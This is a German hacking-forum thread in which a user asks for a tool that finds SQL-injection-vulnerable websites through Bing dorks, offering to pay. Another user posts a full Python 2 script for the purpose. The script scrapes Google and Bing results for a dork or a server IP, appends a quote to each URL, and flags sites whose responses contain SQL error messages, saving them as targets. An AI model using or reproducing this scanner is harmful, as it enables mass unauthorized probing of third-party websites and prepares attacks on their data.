3 Antworten in diesem Thema

[GEFXR]

Ich suche einen SQLi Dorker der am besten über BING läuft.
Habe schon Gr3nox & einen Dorker von Dr. Spic getestet jedoch nutzen diese, dass google API welches ohne IP wechsel nur noch 64 Seiten lädt.


Wenn jemand was kennt bitte melden. (kann auch bisschen was kosten)

[Ch!ller]

Hast du den hier schon getestet?

[GEFXR]

Nein.

- Werde ich machen & berichten :-)

[ProHex]

import urllib2
import os
import re
import httplib
from time import sleep
if os.name == 'nt':
os.system('cls') # Windows
else:
os.system('clear') # Linux
def welcome():
print "[1] From Google n"
print "[2] From Bing n"
print "[3] From Ip n"
file=open('lol.txt','w')
file1=open('lol.txt','r')
def getsitesgoogle():
dork=raw_input("dork : ")
start=0
end=490
sleep(3)
print "Getting Websites From google ... "
while start<=end :
con = urllib2.urlopen('http://startgoogle.startpagina.nl/index.php?start='+str(start)+'&q='+dork)
readd=con.read()
find=re.findall('<a href="(.*)" target="_self" onclick="',readd)
start = start+10
for i in range(len(find)):
rez=find[i]+"'"
file.write(rez + 'n')
os.system('exit')



def getsitesbing():
dork=raw_input("dork : ")
start=0
end=200
sleep(3)
print "Getting Websites From Bing ... "
while start<=end :
con = urllib2.urlopen('http://www.bing.com/search?q='+dork+"&first="+str(start))
readd=con.read()
find=re.findall('<div class="sb_tlst"><h3><a href="(.*?)" h=',readd)
start = start+10
for i in range(len(find)):
rez=find[i]+"'"
file.write(rez + 'n')
os.system('exit')
def findsql():
file2=open("rez.txt",'a')
domains=file1.read().split()
print "Scaning Websites From sql Injection ... "
for domaine in domains :
try:
	 conn = urllib2.urlopen(domaine)
	 readd=conn.read()
	 findd=re.findall('/error in your SQL syntax|mysql_fetch_array()|execute query|mysql_fetch_object()|mysql_num_rows()|mysql_fetch_assoc()|mysql_fetch_row()|SELECT * FROM|supplied argument is not a valid MySQL|Syntax error|Fatal error/i|You have an error in your SQL syntax|Microsoft VBScript runtime error',readd)
	 if(findd):
		 print "Sql FOund=>"+domaine+("n")
		 file2.write(domaine+("n"))
	 else:
print "Not FOund =>"+domaine+("n")

except IOError:
	 print "Error"
def getsitesip():
ip=raw_input("Server ip : " )
dork=raw_input("Dork [ex : id= . php?id=] : " )
start=0
end=50000
print "Getting "+ip+" Websites From Bing ... "
while start<=end :
con = urllib2.urlopen('http://www.bing.com/search?q=ip%3A'+ip+'+'+dork+'&first='+str(start))
readd=con.read()
find=re.findall('<div class="sb_tlst"><h3><a href="(.*?)" h="ID',readd)
start = start+10
for i in range(len(find)):
rez=find[i]+"'"
file.write(rez + 'n')
os.system('exit')
welcome()
ask1=raw_input("Chose Number : ")
if (ask1=='1'):
getsitesgoogle()
if (ask1=='2') :
getsitesbing()
if (ask1=='3') :
getsitesip()
findsql()

bitte^^